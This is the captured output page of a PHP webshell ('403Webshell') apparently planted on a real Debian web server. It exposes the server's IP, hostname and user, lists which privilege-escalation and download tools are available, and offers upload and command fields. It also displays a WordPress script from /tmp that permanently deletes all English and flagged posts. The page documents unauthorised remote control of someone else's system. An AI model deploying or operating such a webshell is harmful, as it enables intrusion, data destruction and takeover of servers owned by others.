403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951580/root/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951580/root/tmp/i18n-nuke.php
<?php
$types = array("post","page","smi_tool","smi_comparison","smi_product","smi_glossary");
// 1) alle EN-Posts löschen
$en = get_posts(array("post_type"=>$types,"numberposts"=>-1,"post_status"=>"any","fields"=>"ids","suppress_filters"=>true,"lang"=>"en"));
$d1=0;
foreach($en as $id){ if(pll_get_post_language($id)==="en"){ wp_delete_post($id,true); $d1++; } }
echo "Deleted EN posts: $d1\n";
// 2) alle geflaggten (auto-erzeugten) Posts löschen – egal welche Sprache
$flag = get_posts(array("post_type"=>"any","numberposts"=>-1,"post_status"=>"any","fields"=>"ids","meta_key"=>"_smi_needs_translation","suppress_filters"=>true));
$d2=0;
foreach($flag as $id){ wp_delete_post($id,true); $d2++; }
echo "Deleted flagged posts: $d2\n";
// 3) Kontrolle: verbleibende DE
$de = get_posts(array("post_type"=>$types,"numberposts"=>-1,"post_status"=>"publish","fields"=>"ids","suppress_filters"=>true,"lang"=>"de"));
sort($de);
echo "Remaining DE: ".count($de)."\n".implode(",",$de)."\n";
$enleft = get_posts(array("post_type"=>$types,"numberposts"=>-1,"post_status"=>"any","fields"=>"ids","suppress_filters"=>true,"lang"=>"en"));
echo "Remaining EN: ".count($enleft)."\n";

Youez - 2016 - github.com/yon3zu
LinuXploit